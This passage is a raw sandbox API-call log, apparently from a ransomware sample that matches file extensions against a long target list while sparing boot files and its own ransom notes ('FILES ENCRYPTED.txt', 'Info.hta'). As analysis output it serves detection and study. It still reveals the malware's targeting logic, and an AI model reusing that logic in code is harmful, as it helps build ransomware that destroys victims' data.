(lpString1=".asa", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".asc") returned 4 [0183.253] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".ascx") returned 5 [0183.253] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.253] lstrlenW (lpString=".asm") returned 4 [0183.253] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".asmx") returned 5 [0183.253] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.253] lstrlenW (lpString=".asp") returned 4 [0183.253] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".aspx") returned 5 [0183.253] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.253] lstrlenW (lpString=".asr") returned 4 [0183.254] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".asx") returned 4 [0183.254] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".avi") returned 4 [0183.254] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".avs") returned 4 [0183.254] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".backup") returned 7 [0183.254] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.254] lstrlenW (lpString=".bak") returned 4 [0183.254] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".bay") returned 4 [0183.254] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".bd") returned 3 [0183.254] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.254] lstrlenW (lpString=".bin") returned 4 [0183.254] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".bmp") returned 4 [0183.254] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".bz2") returned 4 [0183.254] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".c") returned 2 [0183.254] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.254] lstrlenW (lpString=".cdr") returned 4 [0183.254] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".cer") returned 4 [0183.254] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".cf") returned 3 [0183.254] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.254] lstrlenW (lpString=".cfc") returned 4 [0183.254] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".cfm") returned 4 [0183.254] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.254] lstrlenW (lpString=".cfml") returned 5 [0183.255] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.255] lstrlenW (lpString=".cfu") returned 4 [0183.255] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".chm") returned 4 [0183.255] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".cin") returned 4 [0183.255] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".class") returned 6 [0183.255] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.255] lstrlenW (lpString=".clx") returned 4 [0183.255] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".config") returned 7 [0183.255] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.255] lstrlenW (lpString=".cpp") returned 4 [0183.255] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".cr2") returned 4 [0183.255] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".crt") returned 4 [0183.255] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".crw") returned 4 [0183.255] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.255] lstrlenW (lpString=".cs") returned 3 [0183.255] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.256] lstrlenW (lpString=".css") returned 4 [0183.256] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".csv") returned 4 [0183.256] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".cub") returned 4 [0183.256] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dae") returned 4 [0183.256] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dat") returned 4 [0183.256] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".db") returned 3 [0183.256] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.256] lstrlenW (lpString=".dbf") returned 4 [0183.256] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dbx") returned 4 [0183.256] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dc3") returned 4 [0183.256] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dcm") returned 4 [0183.256] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dcr") returned 4 [0183.256] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".der") returned 4 [0183.256] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dib") returned 4 [0183.256] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dic") returned 4 [0183.256] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".dif") returned 4 [0183.256] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.256] lstrlenW (lpString=".divx") returned 5 [0183.257] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.257] lstrlenW (lpString=".djvu") returned 5 [0183.257] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.257] lstrlenW (lpString=".dng") returned 4 [0183.257] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".doc") returned 4 [0183.257] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".docm") returned 5 [0183.257] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.257] lstrlenW (lpString=".docx") returned 5 [0183.257] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.257] lstrlenW (lpString=".dot") returned 4 [0183.257] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dotm") returned 5 [0183.257] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.257] lstrlenW (lpString=".dotx") returned 5 [0183.257] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.257] lstrlenW (lpString=".dpx") returned 4 [0183.257] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dqy") returned 4 [0183.257] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dsn") returned 4 [0183.257] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dt") returned 3 [0183.257] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.257] lstrlenW (lpString=".dtd") returned 4 [0183.257] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dwg") returned 4 [0183.257] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dwt") returned 4 [0183.257] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.257] lstrlenW (lpString=".dx") returned 3 [0183.257] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.258] lstrlenW (lpString=".dxf") returned 4 [0183.258] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".edml") returned 5 [0183.258] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.258] lstrlenW (lpString=".efd") returned 4 [0183.258] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".elf") returned 4 [0183.258] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".emf") returned 4 [0183.258] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".emz") returned 4 [0183.258] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".epf") returned 4 [0183.258] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".eps") returned 4 [0183.258] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".epsf") returned 5 [0183.258] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.258] lstrlenW (lpString=".epsp") returned 5 [0183.258] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.258] lstrlenW (lpString=".erf") returned 4 [0183.258] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".exr") returned 4 [0183.258] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".f4v") returned 4 [0183.258] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".fido") returned 5 [0183.258] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.258] lstrlenW (lpString=".flm") returned 4 [0183.258] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".flv") returned 4 [0183.258] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.258] lstrlenW (lpString=".frm") returned 4 [0183.259] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".fxg") returned 4 [0183.259] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".geo") returned 4 [0183.259] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".gif") returned 4 [0183.259] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".grs") returned 4 [0183.259] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".gz") returned 3 [0183.259] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.259] lstrlenW (lpString=".h") returned 2 [0183.259] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.259] lstrlenW (lpString=".hdr") returned 4 [0183.259] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".hpp") returned 4 [0183.259] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".hta") returned 4 [0183.259] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".htc") returned 4 [0183.259] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".htm") returned 4 [0183.259] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.259] lstrlenW (lpString=".html") returned 5 [0183.259] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.259] lstrlenW (lpString="index.html") returned 10 [0183.259] lstrlenW (lpString=".NEWS") returned 5 [0183.259] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.259] lstrlenW (lpString="index.html") returned 10 [0183.260] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.260] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.260] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.260] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.260] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.260] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.260] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.260] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.260] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html") returned 111 [0183.260] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.260] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.260] lstrlenW (lpString=".1cd") returned 4 [0183.260] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.260] lstrlenW (lpString=".3ds") returned 4 [0183.260] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.260] lstrlenW (lpString=".3fr") returned 4 [0183.260] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.260] lstrlenW (lpString=".3g2") returned 4 [0183.260] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.260] lstrlenW (lpString=".3gp") returned 4 [0183.260] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.260] lstrlenW (lpString=".7z") returned 3 [0183.260] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.260] lstrlenW (lpString=".accda") returned 6 [0183.260] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.260] lstrlenW (lpString=".accdb") returned 6 [0183.260] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.260] lstrlenW (lpString=".accdc") returned 6 [0183.260] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.260] lstrlenW (lpString=".accde") returned 6 [0183.261] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.261] lstrlenW (lpString=".accdt") returned 6 [0183.261] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.261] lstrlenW (lpString=".accdw") returned 6 [0183.261] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.261] lstrlenW (lpString=".adb") returned 4 [0183.261] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".adp") returned 4 [0183.261] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".ai") returned 3 [0183.261] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.261] lstrlenW (lpString=".ai3") returned 4 [0183.261] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".ai4") returned 4 [0183.261] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".ai5") returned 4 [0183.261] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".ai6") returned 4 [0183.261] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".ai7") returned 4 [0183.261] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".ai8") returned 4 [0183.261] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".anim") returned 5 [0183.261] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.261] lstrlenW (lpString=".arw") returned 4 [0183.261] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.261] lstrlenW (lpString=".as") returned 3 [0183.262] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.262] lstrlenW (lpString=".asa") returned 4 [0183.262] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".asc") returned 4 [0183.262] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".ascx") returned 5 [0183.262] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.262] lstrlenW (lpString=".asm") returned 4 [0183.262] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".asmx") returned 5 [0183.262] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.262] lstrlenW (lpString=".asp") returned 4 [0183.262] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".aspx") returned 5 [0183.262] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.262] lstrlenW (lpString=".asr") returned 4 [0183.262] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".asx") returned 4 [0183.262] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".avi") returned 4 [0183.262] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".avs") returned 4 [0183.262] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".backup") returned 7 [0183.262] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.262] lstrlenW (lpString=".bak") returned 4 [0183.262] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".bay") returned 4 [0183.262] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".bd") returned 3 [0183.262] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.262] lstrlenW (lpString=".bin") returned 4 [0183.262] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.262] lstrlenW (lpString=".bmp") returned 4 [0183.263] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".bz2") returned 4 [0183.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".c") returned 2 [0183.263] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.263] lstrlenW (lpString=".cdr") returned 4 [0183.263] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".cer") returned 4 [0183.263] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".cf") returned 3 [0183.263] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.263] lstrlenW (lpString=".cfc") returned 4 [0183.263] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".cfm") returned 4 [0183.263] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".cfml") returned 5 [0183.263] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.263] lstrlenW (lpString=".cfu") returned 4 [0183.263] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".chm") returned 4 [0183.263] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".cin") returned 4 [0183.263] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.263] lstrlenW (lpString=".class") returned 6 [0183.263] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.263] lstrlenW (lpString=".clx") returned 4 [0183.263] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".config") returned 7 [0183.307] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.307] lstrlenW (lpString=".cpp") returned 4 [0183.307] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".cr2") returned 4 [0183.307] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".crt") returned 4 [0183.307] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".crw") returned 4 [0183.307] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".cs") returned 3 [0183.307] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.307] lstrlenW (lpString=".css") returned 4 [0183.307] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".csv") returned 4 [0183.307] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.307] lstrlenW (lpString=".cub") returned 4 [0183.308] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dae") returned 4 [0183.308] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dat") returned 4 [0183.308] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".db") returned 3 [0183.308] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.308] lstrlenW (lpString=".dbf") returned 4 [0183.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dbx") returned 4 [0183.308] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dc3") returned 4 [0183.308] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dcm") returned 4 [0183.308] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dcr") returned 4 [0183.308] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".der") returned 4 [0183.308] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dib") returned 4 [0183.308] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dic") returned 4 [0183.308] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".dif") returned 4 [0183.308] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".divx") returned 5 [0183.308] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.308] lstrlenW (lpString=".djvu") returned 5 [0183.308] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.308] lstrlenW (lpString=".dng") returned 4 [0183.308] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".doc") returned 4 [0183.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.308] lstrlenW (lpString=".docm") returned 5 [0183.309] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.309] lstrlenW (lpString=".docx") returned 5 [0183.309] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.309] lstrlenW (lpString=".dot") returned 4 [0183.309] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dotm") returned 5 [0183.309] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.309] lstrlenW (lpString=".dotx") returned 5 [0183.309] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.309] lstrlenW (lpString=".dpx") returned 4 [0183.309] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dqy") returned 4 [0183.309] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dsn") returned 4 [0183.309] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dt") returned 3 [0183.309] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.309] lstrlenW (lpString=".dtd") returned 4 [0183.309] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dwg") returned 4 [0183.309] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dwt") returned 4 [0183.309] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".dx") returned 3 [0183.309] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.309] lstrlenW (lpString=".dxf") returned 4 [0183.309] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.309] lstrlenW (lpString=".edml") returned 5 [0183.310] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.310] lstrlenW (lpString=".efd") returned 4 [0183.310] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".elf") returned 4 [0183.310] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".emf") returned 4 [0183.310] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".emz") returned 4 [0183.310] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".epf") returned 4 [0183.310] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".eps") returned 4 [0183.310] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".epsf") returned 5 [0183.310] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.310] lstrlenW (lpString=".epsp") returned 5 [0183.310] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.310] lstrlenW (lpString=".erf") returned 4 [0183.310] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".exr") returned 4 [0183.310] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".f4v") returned 4 [0183.310] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".fido") returned 5 [0183.310] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.310] lstrlenW (lpString=".flm") returned 4 [0183.310] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".flv") returned 4 [0183.310] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".frm") returned 4 [0183.310] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.310] lstrlenW (lpString=".fxg") returned 4 [0183.310] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".geo") returned 4 [0183.311] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".gif") returned 4 [0183.311] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".grs") returned 4 [0183.311] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".gz") returned 3 [0183.311] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.311] lstrlenW (lpString=".h") returned 2 [0183.311] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.311] lstrlenW (lpString=".hdr") returned 4 [0183.311] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".hpp") returned 4 [0183.311] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".hta") returned 4 [0183.311] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".htc") returned 4 [0183.311] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.311] lstrlenW (lpString=".htm") returned 4 [0183.311] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, 